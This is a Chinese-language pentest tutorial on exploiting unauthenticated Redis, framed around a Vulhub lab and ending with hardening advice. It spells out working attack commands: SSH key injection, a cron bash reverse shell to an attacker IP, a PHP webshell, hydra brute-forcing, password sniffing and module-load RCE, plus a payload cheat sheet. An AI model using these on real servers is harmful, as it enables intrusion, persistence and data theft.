适合人群:安全测试人员、运维工程师、渗透测试初学者
前置知识:Linux基础命令、Redis基本概念、网络基础知识
一、前置准备
工具安装
# Kali Linux / Ubuntu
apt-get install -y redis-tools netcat-openbsd
# Python依赖
pip install redis
# 漏洞环境(本章节实验用)
docker run -d --name redis-vuln -p 6379:6379 vulhub/redis:5.0
靶场搭建
使用 Vulhub 快速搭建 Redis 未授权环境:
# 安装 Docker + Compose
apt-get install -y docker.io docker-compose
# 启动靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/redis/unauth
docker-compose up -d
# 验证端口开放
ss -tlnp | grep 6379
⚠️ 本文所有实验请使用本地环回地址或 Docker 内部网络,切勿扫描未授权目标。
二、核心原理
Redis 未授权访问漏洞的本质:Redis 默认绑定 0.0.0.0:6379 且无密码认证,攻击者可直接通过 redis-cli 连接并执行高危命令。
为什么会产生?
| 原因 | 说明 |
|---|---|
| 默认配置无密码 | requirepass 默认为空,启动即开放 |
| 绑定所有接口 | bind 0.0.0.0 暴露到外网 |
| 保护模式未启用 | protected-mode no 关闭保护 |
| 运行权限过高 | 常以 root 运行,可写 ~/.ssh/ |
能做什么?
连接 → 执行命令
├─ 信息泄露(keys * / get 敏感key)
├─ 写SSH公钥(直接登录服务器)
├─ 写计划任务(反弹Shell)
├─ 写Webshell(配合Web路径)
└─ 主从复制RCE(Redis 4.x+)
三、实操步骤
Step 1:信息收集阶段
# 主机发现(需扫描内部网络)
nmap -p 6379 --open -n 10.0.0.0/24
# 端口Banner探测
nc -nv 10.10.10.10 6379 <<< 'INFO'
# Shodan搜索(仅用于学习)
# shodan search 'redis port:6379 "redis_version"'
Step 2:未授权访问检测
# 直接连接
redis-cli -h 10.10.10.10 -p 6379
# 成功连接后,执行:
10.10.10.10:6379> INFO
# 如果能返回服务器信息 = 未授权
10.10.10.10:6379> CONFIG GET requirepass
# 返回空 = 无密码
Step 3:信息提取
# 列举所有key
KEYS *
# 查看数据
GET flag
GET session:abc123
GET user:token
# 获取服务器信息
INFO server
INFO keyspace
Step 4:写SSH公钥(最经典利用方式)
在本地生成密钥对,将公钥写入 Redis 再写入目标服务器:
# 1. 本地生成密钥(若无)
ssh-keygen -t rsa -f /tmp/redis_key -N ""
# 2. 将公钥写入Redis的缓存key
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/key.txt
# 3. 通过Redis写入目标authorized_keys
cat /tmp/key.txt | redis-cli -h 10.10.10.10 -x set crack_key
redis-cli -h 10.10.10.10
> CONFIG SET dir /root/.ssh/
> CONFIG SET dbfilename authorized_keys
> SAVE
# 4. SSH登录
ssh -i /tmp/redis_key root@10.10.10.10
Step 5:写计划任务反弹Shell
# 本地监听(攻击机)
nc -lvnp 4444
# 在目标Redis执行(另一个终端)
redis-cli -h 10.10.10.10
> CONFIG SET dir /var/spool/cron/crontabs/
> CONFIG SET dbfilename root
> set x "\n* * * * * bash -c 'bash -i >& /dev/tcp/10.10.10.20/4444 0>&1'\n"
> SAVE
⚠️ CentOS 写
/var/spool/cron/,Ubuntu 写/var/spool/cron/crontabs/,路径因发行版而异。
Step 6:写Webshell(配合Web路径)
# 如果目标同时运行了 Web 服务
redis-cli -h 10.10.10.10
> CONFIG SET dir /var/www/html/
> CONFIG SET dbfilename shell.php
> set x "<?php system($_GET['cmd']); ?>"
> SAVE
# 访问
curl "http://10.10.10.10/shell.php?cmd=id"
四、绕过技术
4.1 protected-mode 绕过
当 Redis 配置 protected-mode yes 时,仅允许 127.0.0.1 直连。绕过方式:
# SSH隧道转发(如果已获取内网入口)
ssh -L 6379:127.0.0.1:6379 user@jump-server
redis-cli -h 127.0.0.1 -p 6379
4.2 requirepass 绕过
# 弱口令爆破
hydra -P /usr/share/wordlists/rockyou.txt redis://10.10.10.10
# 从流量中嗅探Redis密码
tcpdump -i eth0 port 6379 -A | grep -i "AUTH\|requirepass"
4.3 低权限绕过(非root)
如果 Redis 以低权限用户运行,无法写 .ssh/:
# 查看可写目录
CONFIG GET dir
# 尝试网站上传目录 /tmp/uploads/
CONFIG SET dir /var/www/html/uploads/
CONFIG SET dbfilename test.php
set x "<?php system($_GET['c']);?>"
SAVE
五、实战案例复盘
案例:一次测试中的Redis未授权 -> 内网横移
外网发现 → 端口扫描: 6379开放
↓
未授权连接 → redis-cli直连成功
↓
信息收集 → keys * 发现大量session数据
↓
SSH登录 → 写公钥到/root/.ssh/authorized_keys
↓
shell获取 → 发现内网172.16.0.0/24网段
↓
横向移动 → Redis作为跳板扫描内网其他服务
关键Payload速查表:
| 阶段 | 命令 |
|---|---|
| 检测 | redis-cli -h target.com -p 6379 INFO |
| 写SSH | CONFIG SET dir /root/.ssh/ + CONFIG SET dbfilename authorized_keys + SAVE |
| 写Cron | CONFIG SET dir /var/spool/cron/crontabs/ + set x "\n * bash反弹\n" + SAVE |
| 写Web | CONFIG SET dir /var/www/html/ + CONFIG SET dbfilename shell.php + set x "<?php ...?>" + SAVE |
六、防御建议
| 措施 | 操作命令/配置 | 优先级 |
|---|---|---|
| ✅ 设置密码 | requirepass StrongRedisPass!@#123 | 高 |
| ✅ 绑定内网 | bind 127.0.0.1 10.0.0.1 | 高 |
| ✅ 开启保护模式 | protected-mode yes | 高 |
| ✅ 低权限运行 | useradd redis; run as redis user | 中 |
| ✅ 禁用危险命令 | rename-command FLUSHALL "" | 中 |
| ✅ 防火墙限制 | iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/8 -j ACCEPT | 高 |
# 安全配置模板 /etc/redis/redis.conf
bind 127.0.0.1
requirepass YourStrongPassword
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command SCRIPT ""
rename-command DEBUG ""
protected-mode yes
port 6379
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | Crontab路径因发行版而异 | Ubuntu: /var/spool/cron/crontabs/;CentOS: /var/spool/cron/ |
| 2 | SSH写公钥要求权限 | Redis必须运行在root或对目标用户目录有写权限 |
| 3 | SAVE覆盖已有文件 | dbfilename 设置为 authorized_keys 后会覆盖原有公钥,建议先备份 |
| 4 | Redis 6.x默认保护模式 | 6.x 起默认 protected-mode yes,需要验证 requirepass 配置 |
| 5 | SELinux/AppArmor阻塞 | 即使 Redis 配置写入了 .ssh/,SELinux 可能阻止写入导致失败 |
| 6 | 公钥格式必须正确 | 写入时前后需要换行,否则 SSH 解析失败 |
八、总结(含速查表)
Redis 未授权访问是最容易利用但也最容易防御的漏洞之一。核心就三步:
检测 → redis-cli直连 → INFO返回成功 = 漏洞存在
↓
利用 → 写SSH/写Cron/写Webshell/主从复制RCE
↓
防御 → 密码 + 绑定 + 保护模式 + 低权限
速查表
# ① 检测
redis-cli -h target.com -p 6379 INFO
# ② 写入SSH公钥
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
# ③ 写入Crontab
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/x.x.x.x/4444 0>&1\n"
SAVE
# ④ 主从RCE(Redis 4.x/5.x)
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand && make
redis-cli -h target.com
> MODULE LOAD /tmp/exp.so
> system.exec 'id'
# ⑤ 防御检查
redis-cli -h localhost -p 6379 CONFIG GET requirepass
redis-cli -h localhost -p 6379 CONFIG GET bind
💡 一句话总结:配置 Redis 时永远不要忘记
requirepass+bind 127.0.0.1,两个配置缺一不可。